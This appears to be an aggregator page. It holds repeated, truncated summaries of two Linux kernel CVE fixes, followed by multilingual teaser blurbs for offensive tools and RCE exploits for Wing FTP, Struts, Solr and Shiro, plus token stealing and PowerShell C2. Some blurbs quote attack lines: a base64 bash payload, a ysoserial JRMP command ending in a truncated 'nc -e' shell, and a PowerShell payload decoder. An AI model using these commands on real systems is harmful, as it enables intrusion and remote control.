EUVD-2026-67535

In the Linux kernel, the following vulnerability has been resolved: mmc: vub300: defer reset until cmdmutex is unlocked vub300cmndworkthread holds cmdmutex while it sends a command and waits for the command response. If the response wait times out, vub300commandresponse kills the command URBs and...

CVE-2026-80659 mmc: vub300: defer reset until cmd_mutex is unlocked

In the Linux kernel, the following vulnerability has been resolved: mmc: vub300: defer reset until cmdmutex is unlocked vub300cmndworkthread holds cmdmutex while it sends a command and waits for the command response. If the response wait times out, vub300commandresponse kills the command URBs and...

CVE-2026-80659 mmc: vub300: defer reset until cmd_mutex is unlocked

In the Linux kernel, the following vulnerability has been resolved: mmc: vub300: defer reset until cmdmutex is unlocked vub300cmndworkthread holds cmdmutex while it sends a command and waits for the command response. If the response wait times out, vub300commandresponse kills the command URBs and...

CVE-2026-80659

CVE-2026-80659 is a deadlock in the Linux kernel's vub300 MMC/USB driver. When a command response times out, __vub300_command_response() synchronously resets the USB device while vub300_cmndwork_thread() still holds cmd_mutex; the reset path re-enters the driver via vub300_pre_reset() and attempt...

EUVD-2026-67517

In the Linux kernel, the following vulnerability has been resolved: wifi: wlcore: enable the right set of ciphers The firmware version number check for IGTK introduced in commit c34dbc5900b0 "wifi: wlcore: Add support for IGTK key" lets the amount of ciphers decrease on every boot of a too old...

CVE-2026-80641

CVE-2026-80641 affects the Linux kernel wlcore WiFi driver (TI wl12xx and wl18xx chips). The root cause is a firmware version check for IGTK (Individual Group Traffic Key) introduced in an earlier commit that causes the number of enabled ciphers to decrement on every boot when running too-old fir...

CVE-2026-80641 wifi: wlcore: enable the right set of ciphers

In the Linux kernel, the following vulnerability has been resolved: wifi: wlcore: enable the right set of ciphers The firmware version number check for IGTK introduced in commit c34dbc5900b0 "wifi: wlcore: Add support for IGTK key" lets the amount of ciphers decrease on every boot of a too old...

CVE-2026-80641

In the Linux kernel, the following vulnerability has been resolved: wifi: wlcore: enable the right set of ciphers The firmware version number check for IGTK introduced in commit c34dbc5900b0 "wifi: wlcore: Add support for IGTK key" lets the amount of ciphers decrease on every boot of a too old...

CVE-2026-80641 wifi: wlcore: enable the right set of ciphers

In the Linux kernel, the following vulnerability has been resolved: wifi: wlcore: enable the right set of ciphers The firmware version number check for IGTK introduced in commit c34dbc5900b0 "wifi: wlcore: Add support for IGTK key" lets the amount of ciphers decrease on every boot of a too old...

ffufw

ffufw ffuf con quella salsa speciale Installazione root@kitploit: go install github.com/puzzlepeaches/ffufw@latest Perché? ffufw è un wrapper attorno a ffuf per rendere il brute-forcing delle directory più semplice e intelligente. Lo strumento ha le seguenti funzionalità: Esecuzione multithread d...

No-Consolation

No-Consolation Questo è un Beacon Object File BOF che esegue PE non gestiti inline e ne recupera l'output senza allocare una console ovvero senza avviare conhost.exe. Caratteristiche Supporta 64 e 32 bit Supporta EXE e DLL Non crea nuovi processi Non crea nuovi thread Collega i moduli al PEB Salv...

TokenStealer

TokenStealer Ein einfaches Tool, das ich vor einiger Zeit geschrieben habe, um Windows-Token zu stehlen und damit zu spielen. Teile des Codes wurden von https://github.com/FSecureLABS/incognito übernommen und angepasst Offensichtlich benötigen Sie das Impersonation- oder AssignPrimary-Privileg...

Powershell-C2

Powershell-C2 Cette attaque découle de mon Powershell Payload Excel Delivery, mais elle utilise une méthode vraiment sympa pour le commandement et contrôle/persistance sur la machine. Une procédure pas à pas est disponible ici :...

Pentest-Command

Contesto del progetto Durante i test di penetrazione utilizziamo vari framework, ad esempio: MSF, CS, Empire, Impacket, ecc. L'obiettivo principale di questo progetto è quello di raccogliere i comandi comunemente utilizzati nella fase di post-exploitation. Concetti di base Introduzione alle...

CVE-2025-47812

🚀 Wing FTP Exploit - CVE-2025-47812 Exploit migliorato per Wing FTP Server CVE-2025-47812 - Esecuzione remota di codice non autenticata RCE 🔧 Installazione Clona questo repository ed entra nella directory: root@kitploit: git clone https://github.com/0xjuarez/CVE-2025-47812.git cd CVE-2025-47812 p...

CVE-2020-17530

CVE-2020-17530 POC rapido per CVE-2020-17530. In Apache Struts versioni 2.0.0 - 2.5.25, una valutazione forzata di Object Graph Navigational Language OGNL sull'input grezzo dell'utente negli attributi dei tag può portare all'esecuzione remota di codice RCE. root@kitploit: $ python CVE-2020-17530....

solr_rce

Apache Solr RCE über Velocity-Vorlage Python-Nutzung: python solrrce.py http://x.x.x.x:8983 command getshell-Payload kodieren http://www.jackson-t.ca/runtime-exec-payloads.html whoami bash -c echo,d2hvYW1p|base64,-d|bash,-i 0x01 Solr-Einführung Solr ist die Open-Source-Enterprise-Suchplattform de...

SHIRO-550

Vulnerabilità di deserializzazione di Shiro RememberMe 1.2.4 SHIRO-550 commons-collections-3.2.1.jar java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient "10.10.20.166:12345" |python exp.py java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 'nc -e...

St2-052

Test del PoC per S2-052 nome originale: distribuzione del war su Tomcat Indirizzo originale: http://blog.csdn.net/caiqiiqi/article/details/77861477 Scarica l'ultima versione interessata, struts-2.5.12, dal sito ufficiale di Struts2, all'indirizzo:...

Powshell-decode-payload

PowerShell-Gzip-Code dekodieren sal a New-Object;a IO.StreamReadera IO.Compression.GZipStreamIO.MemoryStreamConvert::FromBase64String'xxxx',IO.Compression.CompressionMode::Decompress,Text.Encoding::ASCII.ReadToEnd root@kitploit: sal a New-Object;a IO.StreamReadera...